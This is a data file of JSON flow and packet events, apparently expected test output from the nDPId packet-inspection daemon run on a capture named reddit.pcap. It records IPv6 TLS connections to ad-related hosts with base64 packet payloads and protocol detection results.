+00513{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1925,"source":"reddit.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1605291686985,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":50960,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1925,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":985114,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0ACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duD88AAAAAoAL9IJsfAAACBAWgBAIIClRf4AwAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1926,"source":"reddit.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1605291686985,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::df9:21c6","src_port":43492,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1926,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":985710,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDjDtACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAN+SHGqeQBu3kB4hEAAAAAoAL9ICE+AAACBAWgBAIICkv6YkkAAAAAAQMDBw=="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1927,"source":"reddit.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1605291686996,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3b6","src_port":38320,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":996891,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FmjEAAAAAoAL9ILJdAAACBAWgBAIICnOjJUYAAAAAAQMDBw=="} +00468{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1928,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":16591,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm6q63bg\/QoBJXgIMUAAACBAV4AQMDAwQCCArC1zxZVF\/gDA=="} +00454{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1929,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":16621,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duD9DT5uqvgBAB+wcHAAABAQgKVF\/gK8LXPFk="} +01151{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1930,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":16854,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0AiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duD9DT5uqvgBgB+0cnAAABAQgKVF\/gK8LXPFkWAwECAAEAAfwDA2TZVj7uQEkCD0qaduyi4bmVPP7zAKvO9+7Wlc8AMGeTIIS\/CXAHw3XUf20VSt6oh4Hf\/WTHeXksbYFJmbfF89a\/ACBqahMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNKSgAAAAAAHgAcAAAZd3d3Lmdvb2dsZXRhZ3NlcnZpY2VzLmNvbQAXAAD\/AQABAAAKAAoACDo6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApOjoAAQAAHQAgYKiZy5yb0i6Knp9i3yjCivd+Ief6i7v0\/AghN6n2uzkALQACAQEAKwALCoqKAwQDAwMCAwEAGwADAgAC2toAAQAAFQDDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00848{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1930,"source":"reddit.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1605291686985,"flow_last_seen":1605291687016,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":50960,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.googletagservices.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00468{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1931,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24247,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAGhTs7YqAcsBIEmLB5kd7IUo3\/YpAbuVsAnf\/VJtBZoyoBJXgFGuAAACBAV4AQMDAwQCCArC1zxhc6MlRg=="} +00468{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1932,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24248,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAA35IcYqAcsBIEmLB5kd7IUo3\/YpAbup5BqPq4R5AeISoBJXgAGtAAACBAV4AQMDAwQCCArC1zxhS\/piSQ=="} +00454{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1933,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24307,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FmjIJ3\/1TgBAB+9WjAAABAQgKc6MlYsLXPGE="} +00454{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1934,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24329,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDjDtACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAN+SHGqeQBu3kB4hIaj6uFgBAB+4WXAAABAQgKS\/picMLXPGE="} +01149{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1935,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24606,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FmjIJ3\/1TgBgB+\/A6AAABAQgKc6MlYsLXPGEWAwECAAEAAfwDA+eYPrfbBZwgBAyXsXNv1wHXo8qtfbtTLhb8K0WcNKMYICPAGuufUOrjlYhZGNPMkbG+4utdfOiWk6+0nf\/wCDAKACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNqagAAAAAAEQAPAAAMYy5hYXhhZHMuY29tABcAAP8BAAEAAAoACgAICgoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkKCgABAAAdACDX5C\/1o+HW81YAOCcijSyF5B3qZmeI0oMefLtlAIvWHQAtAAIBAQArAAsKysoDBAMDAwIDAQAbAAMCAAIaGgABAAAVANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00808{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1935,"source":"reddit.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":4,"flow_first_seen":1605291686996,"flow_last_seen":1605291687024,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3b6","src_port":38320,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"c.aaxads.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01148{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1936,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":24727,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDjDtAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAN+SHGqeQBu3kB4hIaj6uFgBgB+4vHAAABAQgKS\/picMLXPGEWAwECAAEAAfwDA5a9I0DX\/RoLLAwCTlolT1w7O+Tvbm6bAwmHB\/Gzvv4KIKCfkVZBs7YxSZgdkLoG0zKZeHzoKc6I+SIaE11zlfvtACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZM6OgAAAAAAGgAYAAAVYy5hbWF6b24tYWRzeXN0ZW0uY29tABcAAP8BAAEAAAoACgAI+voAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACn6+gABAAAdACC3JhULSj7xGhtoU9gOb9OIs2MhB9H2Fq8bhGiDmIiZGgAtAAIBAQArAAsKmpoDBAMDAwIDAQAbAAMCAAIqKgABAAAVAMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00829{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1936,"source":"reddit.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1605291686985,"flow_last_seen":1605291687024,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::df9:21c6","src_port":43492,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"c.amazon-adsystem.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1937,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":53426,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm6q+3bhHVgBALMPumAAABAQgKwtc8f1Rf4Cs="} +02101{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1938,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":60476,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm6q+3bhHVgBgLMJ3WAAABAQgKwtc8hVRf4CsWAwMAegIAAHYDAxziP7O5ibKEKza93z7DAlpXchP7XauobF7dSYpGZVqWIIS\/CXAHw3XUf20VSt6oh4Hf\/WTHeXksbYFJmbfF89a\/EwEAAC4AMwAkAB0AIGbERe3TJUwS4LQIS4WZ5cJp6RVqqA1Bhv3R\/yc1d\/1EACsAAgMEFAMDAAEBFwMDCrO8sDzT\/eJ+k3K+EdIDOeUTTfIsdDfNvb\/aPqMAq+CNQGn2FEIE9SQdRBm8MHqkXQccZ4q93ixsRhP0Nl8xsYSe8xqCpmnE7X1v8Ic84784+Aj3McArDAvrfp7c5pTDmHn\/JftzJsVUByWMieGt7gbU2ReJVSQtHa2Ar1LNAr\/DUE2WvJ3D69C7l\/alsFhpBA4J\/Gh9csI8HQLL7Ewte5yTS87roZgLpwmrMStFBGkUVqYfXXuc24Ir1XDgBkCxVMy6+YFSJB0C\/Y6MoqBfdT6LEIw1\/6SECR4DOIiJXfkIMbiyv0eMwe5OQ\/wdb9iujwM6uhQdkWXIuuwdPmFjs3ywezx1hTV2RT1qHU7u29RcTaEPWjS3xWUjhS\/NNlLont9KQ8NJFmBdMqQHtryO5yis+UyAOvrRB4mRYYmDWRwzwuMQj2Az17D64S+gwSYWA7guyz29cFmsd3Hecmu227cqjBz1CKaYT5lSJxDjaMvDsIsRHPWSrVtiiqC\/KcnzApGp74Lr8TRZ8cpzZ5pPZOtbdNob46ykKJlWTYCCLqgCZ3KLZ6yk7i1UhujI6RzYEL+1kD+EmCU096eQ\/sWuNex00j5R+\/eOcC727T0BTdUxA3oleEvaMqbj7G3s6BTI+y5jDjiQi8214P23UBOb5SiecCIE9J3qCUcVR6EoIzbOB9286uX9GywYdHEE0BzaQgEgF940aJ1ALpbpUnoLI3aiFPKyyk9pR3bLHAuEdkchJle1luiK5Uapn32N3uCUPt+3Izwc3ehVK3k0tJcEMKgO6z0e9ZQu7rOYpD7PiiL2ZPwwBAr98GU6zSBid2DS1XHjFL2XXfX7Vam\/8w594lzWSrmj9\/\/exWhooNv7rLSjqRvBfmINow36\/OC6qm3GaL9NXkgJOrd38gc0OHKahae\/crUdv4gjHLVjrn05JeB7BpU2uFvRzR6DWHtNam+171yDXOCzbfQ75I\/X9n3q93Yor4c1RLefOOH0KuZAO5921QqM6HMbXKAZuJyNzFtUNeEC7J82XOQkNuhYOaRmGl86bWx6rjucRU7d9ozOk9PDscADo4ATcBC3sGCnhVmR8UwuW84euaGetBqbwscoU6MPtpn1qqCjv5nqfw1t0R9mJJMNV0L\/PBhOnseAu29M79AgjCwjX5QxGdIPAdAag4M1xiby1oPedaPJPhcx6e7xOMzXGOBHKi+z\/E1Y9g0VRnhKm4V\/p8qRSYj0G4\/8+Jw8dzaNLk+bL4M9TXjj6hR5QJ2luhf81AnyYvTLgD856EgtKjRaYfxYbs\/8Cke0DPrli3RtOjV+uNpmrwgI3a4tu00dsMktAU4n0JAGov1JGJZyqhcVeSEWvYRMZIboTDGOM1j6Fp7C2gys0zPUaWQbvvJvRJ0lZE48+GPfC+35CkJ2Wg3g28rOM3Ovldt6ZA=="} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1938,"source":"reddit.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1605291686985,"flow_last_seen":1605291687060,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:805::2002","src_port":50960,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.googletagservices.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02100{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1939,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":60476,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm72e3bhHVgBgLMNPRAAABAQgKwtc8hVRf4Cvq0SnpIqttiGxbTIu0DMKbtGr47cCLt7wHwxKZoEEQNGxTDxQE1R72lDm3TtywySFwb\/B5kyXsEpUfPJPr6ZXL2IW09QNFBEglVs5\/2NlqhDbPki0ncgImgdpQi2IVRCy5XI6iXWjOzsjiSziWYne9Ykc47LE\/QREFpcyq6AqrmOqNG3d6OeavtDwBIZvcUNUNHNjKLle375UxARN2DqoDCtGxL1u3vXynJyyGVyWOINyfufd4pAlyfN5yEobYleIulT8qjwYM5t1bz7XG2lMptmnKrABre\/xdOHx1CsZ7GIh8\/70pXD4rMUPlhgE2ZKVZ0GKVd2gQkfij\/ht2EriALX2ddjNaiR7oIN2akAIxpBCmeOsBAubp5xAVVDp8DJzwLSODB2+IwE3ieaKX+pNP90ihZkJrcEfp2lJDvDycETV6ziqpwp4ff2PioNaUfpsS0fMy2PQYe4GsXP1lzQKOW1RFGwdJ2oVwTxTzqMYJA\/RsrM9wOnJRFByQXBW5p9tArBqRWQIlvc65bLTz1InaYs9Uf1vxg5YAR09bg0qVYSBDWVRbKXvuPXR2iPaPq1Ca4Hwpr2S7xtXmK+FG5RA7\/grQAcAjuWdU\/W\/H3PRXIL6fZJ\/Lia+DISdb+XHz16UKLZvmkBBoI84aqO060++NQUFGIgBhBaFLUHFj7sPKNUj1yWri8dYP6FXeybA4R17ixiq+FUZwZ51ZYyWSDLmvynH9YruHBHF3nI0Cf8NctrTRaEAhtbsW4hSO2Vf3DWjrUapd7hAseJvPTA+NoJruiL2NhaIMKw\/F4trITx0tJeGJKNGS\/L+4OsQGBmUXKl8YGhjWuvHVIILe9P2u727at21uDkrfBsCaMW06NmpoJAWxh1liUTlf1AMmhRpVr5NDTaTDG2iiycXo+x7KZ3t\/dZw8uBtaPReosHD4K03lyG2Ir5ffLI0i\/q9uHOnuWvrWwEOuv7GDKldhNOxkMJU66UlzQswjHnqXhFZFMAXL0qrwboARBvj8li9+ll1qnL+jSiZFKOmMMk0cKYasxaNrWKZstn82fdrZXj8ggJad\/jSY\/VFo08UM6d\/78Nb0+deuvh1XrqdPr2ffCzPsB1S7pWN72tSy9vaFja5Add0Ff\/J9i6oC\/4LrduLAnUUkdf7W+kBbE1xahj8YH9UdOMTU+UWuCbS5\/0XpA+sPNbCCcYr9J2o6qp0YFskUiuap5bpVgg1sv7eJ+taFnmx0M31hrEurEq5Uov7eHrp3cVCwW76Ty+b2ZiFktECNTHF1YWXOKhBr9Mq6r8Ie3Bxqi8th9DFKjE3nm6TxqPkyHqW+QpareQ7\/XmukiAednle2TSTeMr2sRjZjnU3z5lUG5EzmZjjcYI7MD\/wRtePO1MclPqEPbfO8mE7l8WMJ9f96RBbc36F7xtFAbDAV1Mruh1TZ8WQ4cQb2YXvDmQji\/IbjbAZNq+1sRiT\/lfS9gk1AYyrxDeeDyhO6vMrPCqVJqK2lFZxuMS3X2Oo5LPpQft\/IasFI9U+\/vGKe2FPQ8oQuOjabcWDo9lwVUeDw9KrBRGi6rv9\/OLigdBAVZI63lQPOYFwfm+8gKB2TVMqEo+VO6p0XNU2OALJgLg=="} +00455{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1940,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":60490,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duEdXT5u9ngBAB9f\/3AAABAQgKVF\/gV8LXPIU="} +00454{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1941,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":60506,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duEdXT5vQfgBAB8vtCAAABAQgKVF\/gV8LXPIU="} +01082{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1942,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":61075,"pkt_caplen":547,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":547,"pkt_l4_len":493,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAe0GPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm9B+3bhHVgBgLMHEiAAABAQgKwtc8hVRf4CvNCHF9R7ySD8nq0gwNUg1GkSoGQw7domoXDil36CRvjPO1btwGYqOfB0xRTWpg1LZIK44dOYtgJz0SWtKXTHRyzYitUtZxgZH1JrbynGfHytkg9D86s0Q1Fwhg4allnST6IRbEMdrcDO1OeENuImEgp\/EkNwP11rGapNAKjwDAnnsWVgkKdwfmJyjN9hGohlDXLTrgSc1hiHka1hPBwFBPuo72rKVgdvDz5nVlXoiMusTE50Zyvr7r74JUkkZ6hijBwhUEKmtOGbPdeqEEUt839u2owU3p7vqJ3Smf2rc5j5Z7aTBqNijB3uCKgn597Hrri4kp0fhAPK1AVASn8cZDfUYB8YegwBBQEn+kqmOyUDp3xzvPD4xogQhPAtfAXQQjwZhbsbhWa04ILoNLOgR5Zln7v5Rtz3BdTqgXpiOPfnXY\/IbiWg0BoxnO1YImTkbo3V5fl9U70D+gAR5aB2DdgcD+98nHrKPkm7PmT3\/dRI8pTCVrQ3ov+8D0ip7biVEd\/qjT9xnumZDLvI96DE2wQu\/t6+eu9gnJ08lM9zPbwrh5gxB5BmI84Cw1e1Ymw5D2TrVhYx\/puuV\/m\/8Wzdwhv5BqQPRs7EKuOUDSWA=="} +00456{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1943,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":61082,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAMi0ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACACxxABu7duEdXT5vXsgBAB7\/l3AAABAQgKVF\/gWMLXPIU="} +00456{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1944,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":61560,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGhTs7YqAcsBIEmLB5kd7IUo3\/YpAbuVsAnf\/VNtBZw3gBALMMpCAAABAQgKwtc8iHOjJWI="} 